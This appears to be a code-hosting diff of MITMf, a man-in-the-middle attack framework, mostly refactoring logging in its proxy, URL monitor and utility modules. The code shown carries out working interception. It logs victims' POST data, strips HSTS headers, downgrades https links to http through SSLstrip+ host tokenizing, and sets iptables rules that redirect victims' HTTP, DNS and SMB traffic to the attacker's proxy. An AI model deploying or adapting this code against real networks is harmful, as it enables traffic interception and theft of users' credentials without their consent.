|
||||
|
@ -57,57 +60,64 @@ class ServerConnection(HTTPClient):
|
|||
self.postData = postData
|
||||
self.headers = headers
|
||||
self.client = client
|
||||
self.printPostData = True
|
||||
self.clientInfo = {}
|
||||
self.plugins = ProxyPlugins()
|
||||
self.urlMonitor = URLMonitor.getInstance()
|
||||
self.hsts = URLMonitor.getInstance().hsts
|
||||
self.app = URLMonitor.getInstance().app
|
||||
self.plugins = ProxyPlugins.getInstance()
|
||||
self.isImageRequest = False
|
||||
self.isCompressed = False
|
||||
self.contentLength = None
|
||||
self.shutdownComplete = False
|
||||
|
||||
self.handle_post_output = False
|
||||
|
||||
def sendRequest(self):
|
||||
if self.command == 'GET':
|
||||
|
||||
log.info(self.headers['host'], extra=self.clientInfo)
|
||||
clientlog.info(self.headers['host'], extra=self.clientInfo)
|
||||
|
||||
log.debug("[ServerConnection] Full request: {}{}".format(self.headers['host'], self.uri))
|
||||
log.debug("Full request: {}{}".format(self.headers['host'], self.uri))
|
||||
|
||||
self.sendCommand(self.command, self.uri)
|
||||
|
||||
def sendHeaders(self):
|
||||
for header, value in self.headers.iteritems():
|
||||
log.debug("[ServerConnection] Sending header: ({}: {})".format(header, value))
|
||||
log.debug("Sending header: ({}: {})".format(header, value))
|
||||
self.sendHeader(header, value)
|
||||
|
||||
self.endHeaders()
|
||||
|
||||
def sendPostData(self):
|
||||
if self.printPostData is True: #So we can disable printing POST data coming from plugins
|
||||
if self.handle_post_output is False: #So we can disable printing POST data coming from plugins
|
||||
try:
|
||||
postdata = self.postData.decode('utf8') #Anything that we can't decode to utf-8 isn't worth logging
|
||||
if len(postdata) > 0:
|
||||
log.warning("POST Data ({}):\n{}".format(self.headers['host'], postdata), extra=self.clientInfo)
|
||||
clientlog.warning("POST Data ({}):\n{}".format(self.headers['host'], postdata), extra=self.clientInfo)
|
||||
except Exception as e:
|
||||
if ('UnicodeDecodeError' or 'UnicodeEncodeError') in e.message:
|
||||
log.debug("[ServerConnection] {} Ignored post data from {}".format(self.clientInfo['clientip'], self.headers['host']))
|
||||
log.debug("{} Ignored post data from {}".format(self.clientInfo['clientip'], self.headers['host']))
|
||||
|
||||
self.printPostData = True
|
||||
self.handle_post_output = False
|
||||
self.transport.write(self.postData)
|
||||
|
||||
def connectionMade(self):
|
||||
log.debug("[ServerConnection] HTTP connection made.")
|
||||
log.debug("HTTP connection made.")
|
||||
|
||||
user_agent = parse(self.headers['user-agent'])
|
||||
|
||||
self.clientInfo["clientip"] = self.client.getClientIP()
|
||||
self.clientInfo["clientos"] = user_agent.os.family
|
||||
self.clientInfo["browser"] = user_agent.browser.family
|
||||
|
||||
try:
|
||||
self.clientInfo["browserv"] = user_agent.browser.version[0]
|
||||
except IndexError:
|
||||
user_agent = parse(self.headers['user-agent'])
|
||||
|
||||
self.clientInfo["clientos"] = user_agent.os.family
|
||||
self.clientInfo["browser"] = user_agent.browser.family
|
||||
try:
|
||||
self.clientInfo["browserv"] = user_agent.browser.version[0]
|
||||
except IndexError:
|
||||
self.clientInfo["browserv"] = "Other"
|
||||
except KeyError:
|
||||
self.clientInfo["clientos"] = "Other"
|
||||
self.clientInfo["browser"] = "Other"
|
||||
self.clientInfo["browserv"] = "Other"
|
||||
|
||||
self.plugins.hook()
|
||||
|
@ -125,7 +135,7 @@ class ServerConnection(HTTPClient):
|
|||
code = values['code']
|
||||
message = values['message']
|
||||
|
||||
log.debug("[ServerConnection] Server response: {} {} {}".format(version, code, message))
|
||||
log.debug("Server response: {} {} {}".format(version, code, message))
|
||||
self.client.setResponseCode(int(code), message)
|
||||
|
||||
def handleHeader(self, key, value):
|
||||
|
@ -137,15 +147,15 @@ class ServerConnection(HTTPClient):
|
|||
if (key.lower() == 'content-type'):
|
||||
if (value.find('image') != -1):
|
||||
self.isImageRequest = True
|
||||
log.debug("[ServerConnection] Response is image content, not scanning")
|
||||
log.debug("Response is image content, not scanning")
|
||||
|
||||
if (key.lower() == 'content-encoding'):
|
||||
if (value.find('gzip') != -1):
|
||||
log.debug("[ServerConnection] Response is compressed")
|
||||
log.debug("Response is compressed")
|
||||
self.isCompressed = True
|
||||
|
||||
elif (key.lower()== 'strict-transport-security'):
|
||||
log.info("Zapped a strict-trasport-security header", extra=self.clientInfo)
|
||||
clientlog.info("Zapped a strict-trasport-security header", extra=self.clientInfo)
|
||||
|
||||
elif (key.lower() == 'content-length'):
|
||||
self.contentLength = value
|
||||
|
@ -170,7 +180,7 @@ class ServerConnection(HTTPClient):
|
|||
|
||||
if logging.getLevelName(log.getEffectiveLevel()) == "DEBUG":
|
||||
for header, value in self.client.headers.iteritems():
|
||||
log.debug("[ServerConnection] Receiving header: ({}: {})".format(header, value))
|
||||
log.debug("Receiving header: ({}: {})".format(header, value))
|
||||
|
||||
def handleResponsePart(self, data):
|
||||
if (self.isImageRequest):
|
||||
|
@ -190,13 +200,14 @@ class ServerConnection(HTTPClient):
|
|||
|
||||
def handleResponse(self, data):
|
||||
if (self.isCompressed):
|
||||
log.debug("[ServerConnection] Decompressing content...")
|
||||
log.debug("Decompressing content...")
|
||||
data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read()
|
||||
|
||||
data = self.replaceSecureLinks(data)
|
||||
data = self.plugins.hook()['data']
|
||||
|
||||
log.debug("[ServerConnection] Read from server {} bytes of data".format(len(data)))
|
||||
log.debug("Read from server {} bytes of data:\n{}".format(len(data), data))
|
||||
#log.debug("Read from server {} bytes of data".format(len(data)))
|
||||
|
||||
if (self.contentLength != None):
|
||||
self.client.setHeader('Content-Length', len(data))
|
||||
|
@ -209,7 +220,7 @@ class ServerConnection(HTTPClient):
|
|||
try:
|
||||
self.shutdown()
|
||||
except:
|
||||
log.info("[ServerConnection] Client connection dropped before request finished.")
|
||||
log.info("Client connection dropped before request finished.")
|
||||
|
||||
def replaceSecureLinks(self, data):
|
||||
if self.hsts:
|
||||
|
@ -225,9 +236,9 @@ class ServerConnection(HTTPClient):
|
|||
for match in iterator:
|
||||
url = match.group()
|
||||
|
||||
log.debug("[ServerConnection][HSTS] Found secure reference: " + url)
|
||||
log.debug("Found secure reference: " + url)
|
||||
nuevaurl=self.urlMonitor.addSecureLink(self.clientInfo['clientip'], url)
|
||||
log.debug("[ServerConnection][HSTS] Replacing {} => {}".format(url,nuevaurl))
|
||||
log.debug("Replacing {} => {}".format(url,nuevaurl))
|
||||
sustitucion[url] = nuevaurl
|
||||
|
||||
if sustitucion:
|
||||
|
@ -243,7 +254,7 @@ class ServerConnection(HTTPClient):
|
|||
for match in iterator:
|
||||
url = match.group()
|
||||
|
||||
log.debug("[ServerConnection] Found secure reference: " + url)
|
||||
log.debug("Found secure reference: " + url)
|
||||
|
||||
url = url.replace('https://', 'http://', 1)
|
||||
url = url.replace('&', '&')
|
||||
|
|
|
@ -18,9 +18,11 @@
|
|||
|
||||
import logging
|
||||
|
||||
from core.logger import logger
|
||||
from twisted.internet.protocol import ClientFactory
|
||||
|
||||
log = logging.getLogger('mitmf')
|
||||
formatter = logging.Formatter("%(asctime)s [ServerConnectionFactory] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("ServerConnectionFactory", formatter)
|
||||
|
||||
class ServerConnectionFactory(ClientFactory):
|
||||
|
||||
|
@ -35,12 +37,12 @@ class ServerConnectionFactory(ClientFactory):
|
|||
return self.protocol(self.command, self.uri, self.postData, self.headers, self.client)
|
||||
|
||||
def clientConnectionFailed(self, connector, reason):
|
||||
log.debug("[ServerConnectionFactory] Server connection failed.")
|
||||
log.debug("Server connection failed.")
|
||||
|
||||
destination = connector.getDestination()
|
||||
|
||||
if (destination.port != 443):
|
||||
log.debug("[ServerConnectionFactory] Retrying via SSL")
|
||||
log.debug("Retrying via SSL")
|
||||
self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443)
|
||||
else:
|
||||
try:
|
||||
|
|
|
@ -20,10 +20,12 @@ import re, os
|
|||
import logging
|
||||
|
||||
from core.configwatcher import ConfigWatcher
|
||||
from core.logger import logger
|
||||
|
||||
log = logging.getLogger('mitmf')
|
||||
formatter = logging.Formatter("%(asctime)s [URLMonitor] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("URLMonitor", formatter)
|
||||
|
||||
class URLMonitor:
|
||||
class URLMonitor:
|
||||
|
||||
'''
|
||||
The URL monitor maintains a set of (client, url) tuples that correspond to requests which the
|
||||
|
@ -79,7 +81,7 @@ class URLMonitor:
|
|||
s.add(to_url)
|
||||
return
|
||||
url_set = set([from_url, to_url])
|
||||
log.debug("[URLMonitor][AppCachePoison] Set redirection: {}".format(url_set))
|
||||
log.debug("Set redirection: {}".format(url_set))
|
||||
self.redirects.append(url_set)
|
||||
|
||||
def getRedirectionSet(self, url):
|
||||
|
@ -120,7 +122,7 @@ class URLMonitor:
|
|||
else:
|
||||
self.sustitucion[host] = "web"+host
|
||||
self.real["web"+host] = host
|
||||
log.debug("[URLMonitor][HSTS] SSL host ({}) tokenized ({})".format(host, self.sustitucion[host]))
|
||||
log.debug("SSL host ({}) tokenized ({})".format(host, self.sustitucion[host]))
|
||||
|
||||
url = 'http://' + host + path
|
||||
|
||||
|
@ -139,7 +141,7 @@ class URLMonitor:
|
|||
self.faviconSpoofing = faviconSpoofing
|
||||
|
||||
def updateHstsConfig(self):
|
||||
for k,v in ConfigWatcher.getInstance().config['SSLstrip+'].iteritems():
|
||||
for k,v in ConfigWatcher().config['SSLstrip+'].iteritems():
|
||||
self.sustitucion[k] = v
|
||||
self.real[v] = k
|
||||
|
||||
|
@ -156,14 +158,14 @@ class URLMonitor:
|
|||
return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1))
|
||||
|
||||
def URLgetRealHost(self, host):
|
||||
log.debug("[URLMonitor][HSTS] Parsing host: {}".format(host))
|
||||
log.debug("Parsing host: {}".format(host))
|
||||
|
||||
self.updateHstsConfig()
|
||||
|
||||
if self.real.has_key(host):
|
||||
log.debug("[URLMonitor][HSTS] Found host in list: {}".format(self.real[host]))
|
||||
log.debug("Found host in list: {}".format(self.real[host]))
|
||||
return self.real[host]
|
||||
|
||||
else:
|
||||
log.debug("[URLMonitor][HSTS] Host not in list: {}".format(host))
|
||||
log.debug("Host not in list: {}".format(host))
|
||||
return host
|
||||
|
|
157
core/utils.py
157
core/utils.py
|
@ -1,6 +1,3 @@
|
|||
#! /usr/bin/env python2.7
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
|
@ -20,150 +17,72 @@
|
|||
#
|
||||
|
||||
import os
|
||||
import random
|
||||
import logging
|
||||
import re
|
||||
import sys
|
||||
|
||||
from core.logger import logger
|
||||
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
||||
|
||||
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
||||
from scapy.all import get_if_addr, get_if_hwaddr
|
||||
|
||||
log = logging.getLogger('mitmf')
|
||||
formatter = logging.Formatter("%(asctime)s [Utils] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("Utils", formatter)
|
||||
|
||||
def shutdown(message=None):
|
||||
for plugin in ProxyPlugins.getInstance().plist:
|
||||
for plugin in ProxyPlugins().plugin_list:
|
||||
plugin.on_shutdown()
|
||||
sys.exit(message)
|
||||
|
||||
class SystemConfig:
|
||||
def set_ip_forwarding(value):
|
||||
log.debug("Setting ip forwarding to {}".format(value))
|
||||
with open('/proc/sys/net/ipv4/ip_forward', 'w') as file:
|
||||
file.write(str(value))
|
||||
file.close()
|
||||
|
||||
@staticmethod
|
||||
def setIpForwarding(value):
|
||||
log.debug("[Utils] Setting ip forwarding to {}".format(value))
|
||||
with open('/proc/sys/net/ipv4/ip_forward', 'w') as file:
|
||||
file.write(str(value))
|
||||
file.close()
|
||||
def get_ip(interface):
|
||||
try:
|
||||
ip_address = get_if_addr(interface)
|
||||
if (ip_address == "0.0.0.0") or (ip_address is None):
|
||||
shutdown("Interface {} does not have an assigned IP address".format(interface))
|
||||
|
||||
return ip_address
|
||||
except Exception as e:
|
||||
shutdown("Error retrieving IP address from {}: {}".format(interface, e))
|
||||
|
||||
def get_mac(interface):
|
||||
try:
|
||||
mac_address = get_if_hwaddr(interface)
|
||||
return mac_address
|
||||
except Exception, e:
|
||||
shutdown("Error retrieving MAC address from {}: {}".format(interface, e))
|
||||
|
||||
class iptables:
|
||||
|
||||
dns = False
|
||||
http = False
|
||||
smb = False
|
||||
|
||||
__shared_state = {}
|
||||
|
||||
@staticmethod
|
||||
def getIP(interface):
|
||||
try:
|
||||
ip_address = get_if_addr(interface)
|
||||
if (ip_address == "0.0.0.0") or (ip_address is None):
|
||||
shutdown("[Utils] Interface {} does not have an assigned IP address".format(interface))
|
||||
|
||||
return ip_address
|
||||
except Exception as e:
|
||||
shutdown("[Utils] Error retrieving IP address from {}: {}".format(interface, e))
|
||||
|
||||
@staticmethod
|
||||
def getMAC(interface):
|
||||
try:
|
||||
mac_address = get_if_hwaddr(interface)
|
||||
return mac_address
|
||||
except Exception, e:
|
||||
shutdown("[Utils] Error retrieving MAC address from {}: {}".format(interface, e))
|
||||
|
||||
class IpTables:
|
||||
|
||||
_instance = None
|
||||
|
||||
def __init__(self):
|
||||
self.dns = False
|
||||
self.http = False
|
||||
self.smb = False
|
||||
|
||||
@staticmethod
|
||||
def getInstance():
|
||||
if IpTables._instance == None:
|
||||
IpTables._instance = IpTables()
|
||||
|
||||
return IpTables._instance
|
||||
self.__dict__ = self.__shared_state
|
||||
|
||||
def Flush(self):
|
||||
log.debug("[Utils] Flushing iptables")
|
||||
log.debug("Flushing iptables")
|
||||
os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')
|
||||
self.dns = False
|
||||
self.http = False
|
||||
|
||||
def HTTP(self, http_redir_port):
|
||||
log.debug("[Utils] Setting iptables HTTP redirection rule from port 80 to {}".format(http_redir_port))
|
||||
log.debug("Setting iptables HTTP redirection rule from port 80 to {}".format(http_redir_port))
|
||||
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port {}'.format(http_redir_port))
|
||||
self.http = True
|
||||
|
||||
def DNS(self, dns_redir_port):
|
||||
log.debug("[Utils] Setting iptables DNS redirection rule from port 53 to {}".format(dns_redir_port))
|
||||
log.debug("Setting iptables DNS redirection rule from port 53 to {}".format(dns_redir_port))
|
||||
os.system('iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port {}'.format(dns_redir_port))
|
||||
self.dns = True
|
||||
|
||||
def SMB(self, smb_redir_port):
|
||||
log.debug("[Utils] Setting iptables SMB redirection rule from port 445 to {}".format(smb_redir_port))
|
||||
log.debug("Setting iptables SMB redirection rule from port 445 to {}".format(smb_redir_port))
|
||||
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 445 -j REDIRECT --to-port {}'.format(smb_redir_port))
|
||||
self.smb = True
|
||||
|
||||
class Banners:
|
||||
|
||||
banner1 = """
|
||||
__ __ ___ .--. __ __ ___
|
||||
| |/ `.' `. |__| | |/ `.' `. _.._
|
||||
| .-. .-. '.--. .| | .-. .-. ' .' .._|
|
||||
| | | | | || | .' |_ | | | | | | | '
|
||||
| | | | | || | .' || | | | | | __| |__
|
||||
| | | | | || |'--. .-'| | | | | ||__ __|
|
||||
| | | | | || | | | | | | | | | | |
|
||||
|__| |__| |__||__| | | |__| |__| |__| | |
|
||||
| '.' | |
|
||||
| / | |
|
||||
`'-' |_|
|
||||
"""
|
||||
|
||||
banner2= """
|
||||
███▄ ▄███▓ ██▓▄▄▄█████▓ ███▄ ▄███▓ █████▒
|
||||
▓██▒▀█▀ ██▒▓██▒▓ ██▒ ▓▒▓██▒▀█▀ ██▒▓██ ▒
|
||||
▓██ ▓██░▒██▒▒ ▓██░ ▒░▓██ ▓██░▒████ ░
|
||||
▒██ ▒██ ░██░░ ▓██▓ ░ ▒██ ▒██ ░▓█▒ ░
|
||||
▒██▒ ░██▒░██░ ▒██▒ ░ ▒██▒ ░██▒░▒█░
|
||||
░ ▒░ ░ ░░▓ ▒ ░░ ░ ▒░ ░ ░ ▒ ░
|
||||
░ ░ ░ ▒ ░ ░ ░ ░ ░ ░
|
||||
░ ░ ▒ ░ ░ ░ ░ ░ ░
|
||||
░ ░ ░
|
||||
"""
|
||||
|
||||
banner3 = """
|
||||
▄▄▄▄███▄▄▄▄ ▄█ ███ ▄▄▄▄███▄▄▄▄ ▄████████
|
||||
▄██▀▀▀███▀▀▀██▄ ███ ▀█████████▄ ▄██▀▀▀███▀▀▀██▄ ███ ███
|
||||
███ ███ ███ ███▌ ▀███▀▀██ ███ ███ ███ ███ █▀
|
||||
███ ███ ███ ███▌ ███ ▀ ███ ███ ███ ▄███▄▄▄
|
||||
███ ███ ███ ███▌ ███ ███ ███ ███ ▀▀███▀▀▀
|
||||
███ ███ ███ ███ ███ ███ ███ ███ ███
|
||||
███ ███ ███ ███ ███ ███ ███ ███ ███
|
||||
▀█ ███ █▀ █▀ ▄████▀ ▀█ ███ █▀ ███
|
||||
"""
|
||||
|
||||
banner4 = """
|
||||
___ ___ ___
|
||||
/\ \ /\ \ /\__\
|
||||
|::\ \ ___ ___ |::\ \ /:/ _/_
|
||||
|:|:\ \ /\__\ /\__\ |:|:\ \ /:/ /\__\
|
||||
__|:|\:\ \ /:/__/ /:/ / __|:|\:\ \ /:/ /:/ /
|
||||
/::::|_\:\__\ /::\ \ /:/__/ /::::|_\:\__\ /:/_/:/ /
|
||||
\:\~~\ \/__/ \/\:\ \__ /::\ \ \:\~~\ \/__/ \:\/:/ /
|
||||
\:\ \ ~~\:\/\__\ /:/\:\ \ \:\ \ \::/__/
|
||||
\:\ \ \::/ / \/__\:\ \ \:\ \ \:\ \
|
||||
\:\__\ /:/ / \:\__\ \:\__\ \:\__\
|
||||
\/__/ \/__/ \/__/ \/__/ \/__/
|
||||
"""
|
||||
|
||||
banner5 = """
|
||||
███╗ ███╗██╗████████╗███╗ ███╗███████╗
|
||||
████╗ ████║██║╚══██╔══╝████╗ ████║██╔════╝
|
||||
██╔████╔██║██║ ██║ ██╔████╔██║█████╗
|
||||
██║╚██╔╝██║██║ ██║ ██║╚██╔╝██║██╔══╝
|
||||
██║ ╚═╝ ██║██║ ██║ ██║ ╚═╝ ██║██║
|
||||
╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝
|
||||
"""
|
||||
|
||||
def get_banner(self):
|
||||
banners = [self.banner1, self.banner2, self.banner3, self.banner4, self.banner5]
|
||||
return random.choice(banners)
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue